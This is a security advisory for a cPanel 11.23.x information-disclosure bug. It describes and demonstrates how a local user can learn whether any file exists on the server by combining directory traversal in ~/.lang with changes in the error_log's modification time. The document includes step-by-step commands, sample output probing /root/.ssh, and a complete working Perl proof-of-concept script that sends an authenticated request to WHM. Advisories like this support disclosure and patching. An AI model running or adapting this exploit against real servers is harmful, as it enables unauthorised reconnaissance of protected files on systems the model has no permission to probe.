cPanel 11.23.1-EDGE_24268 - validate the existence of any file on the box



DESCRIPTION


Local users could accurately verify the existence of any file on the box via directory traversal in ~/.lang.


First, the user needed to place the name of the file they wanted to check in ~/.lang:

../../../../../../../../$filename


Second, they needed to obtain the mtime from /usr/local/cpanel/logs/error_log:

[user@host ~]$ stat -c %y /usr/local/cpanel/logs/error_log
2009-09-01 16:31:14.000000000 -0400


Next, a request to WHM needed to be made (any valid request is fine):

GET /scripts/quicksupport HTTP/1.1


Finally, the mtime of /usr/local/cpanel/logs/error_log needed to be checked again.

[user@host ~]$ stat -c %y /usr/local/cpanel/logs/error_log
2009-09-01 16:31:15.000000000 -0400


If the mtimes from both checks differed, this meant that the file existed. The reason for this is that cpsrvd would attempt to stat the file from ~/.lang, and if the file existed, /usr/local/cpanel/bin/cachelangfiles would be called, which would write the following line to the cPanel error_log:

Warning: language cache is out of date.  It is being rebuilt now.


Example:

[user@host ~]$ ls /root
/bin/ls: /root: Permission denied
[user@host ~]$ ls /root/.ssh
/bin/ls: /root/.ssh: Permission denied
[user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh
File exists!
[user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh/authorized_keys
File does not exist
[user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh/authorized_keys2
File exists!



IMPACT


Local users could accurately determine the existence of any file on the box.


#!/usr/bin/perl

##########################################################
#
#  Works on cPanel 11.18.x - 11.23.x, probably earlier too
#
##########################################################

use strict;
use warnings;
use File::stat;
use MIME::Base64;
use IO::Socket::INET;

my $file = shift or die "Usage: $0 <file>\n";

my $username = '';
my $password = '';

chomp ( my $creds = encode_base64("$username:$password") );

$file = '../../../../../../../..' . $file;

my $error_log = '/usr/local/cpanel/logs/error_log';
my $stat      = stat $error_log;
my $mtime     = $stat->mtime;

if ( open my $lang_fh, '>', "/home/$ENV{'USER'}/.lang" ) {
    print $lang_fh $file;
    close $lang_fh;
}
else {
    die $!;
}

my $request = "GET /scripts/quicksupport HTTP/1.1\r\n";
$request   .= "Host: 127.0.0.1:2086\r\n";
$request   .= "Authorization: Basic $creds\r\n\r\n";

my $sock = IO::Socket::INET->new(
  PeerAddr => '127.0.0.1',
  PeerPort => '2086',
  Proto    => 'tcp',
  Timeout  => '3',
) or die $!;

print $sock $request;
close $sock;

sleep 1;

my $stat2  = stat $error_log;
my $mtime2 = $stat2->mtime;

if ( $mtime eq $mtime2 ) {
    print "File does not exist\n";
}
else {
    print "File exists!\n";
}

unlink "/home/$ENV{'USER'}/.lang";